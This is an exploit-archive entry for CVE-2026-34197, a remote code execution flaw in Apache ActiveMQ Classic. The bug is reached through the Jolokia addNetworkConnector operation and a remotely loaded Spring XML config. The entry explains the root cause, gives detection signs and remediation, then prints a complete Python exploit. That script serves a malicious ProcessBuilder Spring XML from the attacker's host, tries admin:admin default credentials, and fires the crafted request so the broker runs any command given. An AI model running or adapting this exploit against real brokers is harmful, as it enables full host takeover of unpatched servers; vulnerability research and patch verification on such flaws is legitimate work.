PoC Archive PoC Archive
Critical CVE-2026-34197 (related bypass: CVE-2026-42588) patched

Apache ActiveMQ Classic Jolokia addNetworkConnector Xbean Spring-XML RCE (CVE-2026-34197)

by dinosn · 2026-07-05

Severity
Critical
CVE
CVE-2026-34197 (related bypass: CVE-2026-42588)
Category
network
Affected product
Apache ActiveMQ Classic
Affected versions
< 5.19.4, 6.0.0 – < 6.2.3 (unauthenticated on 6.0.0–6.1.1 via CVE-2024-32114)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherdinosn
CVE / AdvisoryCVE-2026-34197 (related bypass: CVE-2026-42588)
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsactivemq, jolokia, xbean, spring-xml, rce, message-broker, jmx
RelatedN/A

Affected Target

FieldValue
Software / SystemApache ActiveMQ Classic
Versions Affected< 5.19.4, 6.0.0 – < 6.2.3 (unauthenticated on 6.0.0–6.1.1 via CVE-2024-32114)
Language / PlatformJava message broker; PoC written in Python 3
Authentication RequiredYes (post-auth on patched-CVE-2024-32114 versions; unauthenticated on 6.0.0–6.1.1)
Network Access RequiredYes

Summary

Apache ActiveMQ Classic exposes broker management via Jolokia, a JMX-over-HTTP bridge. The BrokerView.addNetworkConnector(uri) MBean operation accepts a discovery URI that can specify an inner vm:// transport with a brokerConfig=xbean:<url> parameter. This forces the broker to load an attacker-hosted Spring XML application context, and Spring eagerly instantiates all singleton beans — including a ProcessBuilder/Process bean pair — before the broker performs its own configuration validation, resulting in OS command execution prior to any safety checks. This is a serious, multi-stage research effort: it includes a live-proven original PoC (root on 5.18.3/5.18.6/6.1.4/6.1.7), a documented patch-bypass (CVE-2026-42588, a “no-paren” composite-URI trick defeating the scheme denylist), and a source-verified audit of the fully hardened 6.2.6 release comparing findings against a public Crowdfense writeup on the same chain.


Vulnerability Details

Root Cause

BrokerView.addNetworkConnector() fails to validate the transport scheme and inner brokerConfig URI before creating a VM transport, allowing an attacker-controlled xbean: Spring XML resource to be loaded and its beans instantiated (including ProcessBuilder) before broker-level validation runs.

Attack Vector

  1. Host a malicious Spring XML file (poc-payload.xml) on an attacker-controlled HTTP server; the file defines a ProcessBuilder/Process bean pair that executes a shell command on instantiation.
  2. Send a Jolokia exec request to the target’s /api/jolokia/ endpoint invoking the BrokerView MBean’s addNetworkConnector operation with a discovery URI of the form static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml).
  3. The broker’s VMTransportFactory creates a new VM broker instance and XBeanBrokerFactory fetches and loads the attacker’s Spring XML via ResourceXmlApplicationContext.
  4. Spring instantiates the ProcessBuilder bean and calls Process.start() as a factory method, executing the attacker’s command as the broker process user — before ActiveMQ’s own broker validation logic ever runs.

Impact

Full remote code execution as the ActiveMQ broker process (observed as uid=0 in the researcher’s lab), enabling complete host compromise of the message broker server; the patch-bypass variant (CVE-2026-42588) shows the same impact is achievable against brokers patched only for the original scheme denylist.


Environment / Lab Setup

Target:   Apache ActiveMQ Classic (Docker lab, activemq-classic:5.18.6 and other versions in the matrix)
Attacker: Python 3 (http.server, urllib), HTTP server to host the Spring XML payload, network path to the broker's Jolokia/web console port (default 8161)

Proof of Concept

PoC Script

See poc.py, exploit_poc.py, and poc-payload.xml in this folder.

1
2
3
4
python3 poc.py --target 192.168.1.100 --lhost 10.0.0.1 --auto

python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned"
python3 exploit_poc.py exploit --target http://victim:8161 --user admin --password admin --lhost 10.0.0.1 --lport 9999

poc.py and exploit_poc.py are two independent, self-contained implementations of the same chain: each starts a small HTTP server to host a generated Spring XML payload (embedding the attacker’s shell command in a ProcessBuilder bean), then sends the Jolokia addNetworkConnector request that causes the target broker to fetch and execute it. poc-payload.xml is a standalone example of the malicious Spring XML application context used by the attack.


Detection & Indicators of Compromise

Signs of compromise:

  • Jolokia exec calls to addNetworkConnector with URIs referencing xbean: and an external HTTP host
  • Outbound HTTP requests from the broker host fetching an XML file from an unexpected external server
  • Unexpected child processes spawned by the ActiveMQ Java process (e.g. /bin/sh -c ...)

Remediation

ActionDetail
Primary fixUpgrade to ActiveMQ 5.19.4+/6.2.3+ for the original fix, and to 6.2.6 for the composite-URI bypass and VMTransportFactory scheme allow-list hardening
Interim mitigationRestrict Jolokia access to loopback/trusted hosts only, deny-list the addNetworkConnector operation in the Jolokia access policy, and disable/limit outbound network access from the broker host

References


Notes

Mirrored from https://github.com/dinosn/apache-activemq-rce-research on 2026-07-05. This archive entry includes the core PoC scripts and payload from the repository’s original CVE-2026-34197 phase (01-original-cve-2026-34197/); the full repository additionally contains follow-on research on a patch bypass (CVE-2026-42588) and a broader audit of ActiveMQ 6.2.6, not reproduced in full here.

exploit_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia MBean + VM Transport
Proof of Concept for authorized security testing only.

Attack chain:
  Jolokia exec -> addNetworkConnector() MBean
  -> vm:// transport with brokerConfig=xbean:http://attacker/evil.xml
  -> Spring XML bean instantiation -> OS command execution

Usage:
  1. Start the HTTP server (serves malicious Spring XML):
     python3 exploit_poc.py serve --lhost 10.0.0.1 --lport 9999 --cmd "touch /tmp/pwned"

  2. In another terminal, fire the exploit:
     python3 exploit_poc.py exploit --target http://victim:8161 \
       --user admin --password admin \
       --lhost 10.0.0.1 --lport 9999

  Or run both in one shot (auto-serves XML, fires exploit, cleans up):
     python3 exploit_poc.py auto --target http://victim:8161 \
       --lhost 10.0.0.1 --lport 9999 --cmd "id > /tmp/pwned.txt"
"""

import argparse
import http.server
import json
import shlex
import sys
import textwrap
import threading
import time
import urllib.request
import base64
from urllib.error import URLError, HTTPError


SPRING_XML_TEMPLATE = textwrap.dedent("""\
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
{cmd_values}
      </list>
    </constructor-arg>
  </bean>

</beans>
""")


def build_spring_xml(cmd: str) -> str:
    """Build a Spring XML that executes the given shell command."""
    parts = shlex.split(cmd)
    values = "\n".join(f"        <value>{p}</value>" for p in parts)
    return SPRING_XML_TEMPLATE.format(cmd_values=values)


def build_spring_xml_shell(cmd: str) -> str:
    """Build Spring XML using bash -c for complex commands."""
    values = (
        "        <value>bash</value>\n"
        "        <value>-c</value>\n"
        f"        <value>{cmd}</value>"
    )
    return SPRING_XML_TEMPLATE.format(cmd_values=values)


class ExploitHTTPHandler(http.server.BaseHTTPRequestHandler):
    """HTTP handler that serves the malicious Spring XML."""

    xml_payload = ""

    def do_GET(self):
        print(f"[+] Target fetched payload: {self.path}")
        self.send_response(200)
        self.send_header("Content-Type", "application/xml")
        self.end_headers()
        self.wfile.write(self.xml_payload.encode())

    def log_message(self, format, *args):
        pass  # suppress default logging


def start_http_server(host: str, port: int, xml_payload: str) -> http.server.HTTPServer:
    """Start HTTP server serving the Spring XML payload."""
    ExploitHTTPHandler.xml_payload = xml_payload
    server = http.server.HTTPServer((host, port), ExploitHTTPHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    print(f"[*] Serving malicious Spring XML on http://{host}:{port}/evil.xml")
    return server


def check_jolokia(target: str, username: str, password: str) -> dict | None:
    """Verify Jolokia is accessible and return broker info."""
    url = f"{target.rstrip('/')}/api/jolokia/"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    req = urllib.request.Request(url)
    req.add_header("Authorization", f"Basic {creds}")

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            print(f"[+] Jolokia accessible — agent version: {data.get('value', {}).get('agent', 'unknown')}")
            return data
    except HTTPError as e:
        if e.code == 401:
            print(f"[-] Authentication failed (401) — check credentials")
        elif e.code == 403:
            print(f"[-] Jolokia access forbidden (403)")
        else:
            print(f"[-] HTTP error: {e.code}")
        return None
    except URLError as e:
        print(f"[-] Connection failed: {e.reason}")
        return None


def get_broker_name(target: str, username: str, password: str) -> str | None:
    """Query Jolokia to discover the broker name dynamically."""
    url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    req = urllib.request.Request(url)
    req.add_header("Authorization", f"Basic {creds}")

    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            if data.get("status") == 200 and data.get("value"):
                for mbean_name in data["value"]:
                    # Extract brokerName from the MBean object name
                    for part in mbean_name.split(","):
                        if part.startswith("brokerName="):
                            name = part.split("=", 1)[1]
                            print(f"[+] Discovered broker name: {name}")
                            return name
    except Exception:
        pass

    # Fallback: try common default
    print("[*] Could not discover broker name, using default 'localhost'")
    return "localhost"


def fire_exploit(target: str, username: str, password: str,
                 lhost: str, lport: int, broker_name: str = "localhost") -> bool:
    """Send the Jolokia exec request to trigger the exploit chain."""

    # The crafted URI:
    #   static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/evil.xml)
    #
    # - static:(...) is the network connector discovery URI
    # - vm://evil references a non-existent broker, forcing dynamic creation
    # - brokerConfig=xbean:http://... loads remote Spring XML config
    malicious_uri = (
        f"static:(vm://evil?brokerConfig=xbean:http://{lhost}:{lport}/evil.xml)"
    )

    payload = {
        "type": "exec",
        "mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
        "operation": "addNetworkConnector(java.lang.String)",
        "arguments": [malicious_uri]
    }

    url = f"{target.rstrip('/')}/api/jolokia/"
    creds = base64.b64encode(f"{username}:{password}".encode()).decode()

    data = json.dumps(payload).encode()
    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/json")
    req.add_header("Authorization", f"Basic {creds}")
    req.add_header("Origin", target)

    print(f"[*] Sending exploit payload to {url}")
    print(f"[*] Malicious URI: {malicious_uri}")

    try:
        with urllib.request.urlopen(req, timeout=30) as resp:
            result = json.loads(resp.read())
            if result.get("status") == 200:
                print("[+] Jolokia returned 200 — exploit payload delivered")
                print(f"[+] Response: {json.dumps(result, indent=2)}")
                return True
            else:
                print(f"[-] Unexpected status: {result.get('status')}")
                print(f"    Error: {result.get('error', 'unknown')}")
                return False
    except HTTPError as e:
        body = e.read().decode(errors="replace")
        print(f"[-] HTTP {e.code}: {body[:500]}")
        return False
    except URLError as e:
        print(f"[-] Connection failed: {e.reason}")
        return False


def cmd_serve(args):
    """Serve mode: just host the malicious XML."""
    if args.shell:
        xml = build_spring_xml_shell(args.cmd)
    else:
        xml = build_spring_xml(args.cmd)

    print(f"[*] Command to execute: {args.cmd}")
    print(f"[*] Spring XML payload:\n{xml}")

    server = start_http_server("0.0.0.0", args.lport, xml)
    print("[*] Waiting for target to fetch payload... (Ctrl+C to stop)")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        server.shutdown()


def cmd_exploit(args):
    """Exploit mode: send the Jolokia request."""
    print(f"[*] Target: {args.target}")
    print(f"[*] Credentials: {args.user}:{args.password}")

    # Step 1: Check Jolokia
    info = check_jolokia(args.target, args.user, args.password)
    if not info:
        sys.exit(1)

    # Step 2: Discover broker name
    broker_name = get_broker_name(args.target, args.user, args.password)

    # Step 3: Fire
    success = fire_exploit(args.target, args.user, args.password,
                           args.lhost, args.lport, broker_name)
    if success:
        print("\n[+] Exploit sent. Check if your payload executed on the target.")
    else:
        print("\n[-] Exploit may have failed. Check server logs.")


def cmd_auto(args):
    """Auto mode: serve XML + fire exploit in one shot."""
    if args.shell:
        xml = build_spring_xml_shell(args.cmd)
    else:
        xml = build_spring_xml(args.cmd)

    print(f"[*] Target: {args.target}")
    print(f"[*] Command: {args.cmd}")

    # Start HTTP server
    server = start_http_server("0.0.0.0", args.lport, xml)
    time.sleep(0.5)

    # Check Jolokia
    info = check_jolokia(args.target, args.user, args.password)
    if not info:
        server.shutdown()
        sys.exit(1)

    # Discover broker name
    broker_name = get_broker_name(args.target, args.user, args.password)

    # Fire exploit
    success = fire_exploit(args.target, args.user, args.password,
                           args.lhost, args.lport, broker_name)

    # Wait briefly for the target to fetch the XML
    print("[*] Waiting 5s for target to fetch payload...")
    time.sleep(5)

    server.shutdown()

    if success:
        print("\n[+] Done. Verify command execution on target.")
    else:
        print("\n[-] Exploit delivery uncertain. Check manually.")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-34197 ActiveMQ RCE PoC — Authorized testing only"
    )
    subparsers = parser.add_subparsers(dest="mode", required=True)

    # Serve mode
    p_serve = subparsers.add_parser("serve", help="Host malicious Spring XML")
    p_serve.add_argument("--lhost", required=True, help="Listen host for HTTP server")
    p_serve.add_argument("--lport", type=int, default=9999, help="Listen port (default: 9999)")
    p_serve.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
                         help="OS command to execute")
    p_serve.add_argument("--shell", action="store_true",
                         help="Wrap command in bash -c (for pipes, redirects)")

    # Exploit mode
    p_exploit = subparsers.add_parser("exploit", help="Send Jolokia exploit request")
    p_exploit.add_argument("--target", required=True, help="Target URL (http://host:8161)")
    p_exploit.add_argument("--user", default="admin", help="Username (default: admin)")
    p_exploit.add_argument("--password", default="admin", help="Password (default: admin)")
    p_exploit.add_argument("--lhost", required=True, help="Attacker IP hosting the XML")
    p_exploit.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")

    # Auto mode
    p_auto = subparsers.add_parser("auto", help="Serve + exploit in one shot")
    p_auto.add_argument("--target", required=True, help="Target URL (http://host:8161)")
    p_auto.add_argument("--user", default="admin", help="Username (default: admin)")
    p_auto.add_argument("--password", default="admin", help="Password (default: admin)")
    p_auto.add_argument("--lhost", required=True, help="Attacker IP")
    p_auto.add_argument("--lport", type=int, default=9999, help="Attacker HTTP port")
    p_auto.add_argument("--cmd", default="touch /tmp/cve-2026-34197-pwned",
                         help="OS command to execute")
    p_auto.add_argument("--shell", action="store_true",
                         help="Wrap command in bash -c")

    args = parser.parse_args()

    print("=" * 70)
    print("  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport")
    print("  For authorized security testing and research only.")
    print("=" * 70)
    print()

    if args.mode == "serve":
        cmd_serve(args)
    elif args.mode == "exploit":
        cmd_exploit(args)
    elif args.mode == "auto":
        cmd_auto(args)


if __name__ == "__main__":
    main()